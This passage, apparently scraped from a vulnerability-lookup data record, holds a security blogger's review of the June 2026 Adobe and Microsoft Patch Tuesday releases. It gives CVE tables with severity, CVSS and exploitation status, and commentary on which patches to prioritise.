<span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "6634160b-c93a-486b-950d-6cbeba5cd7ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48575", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  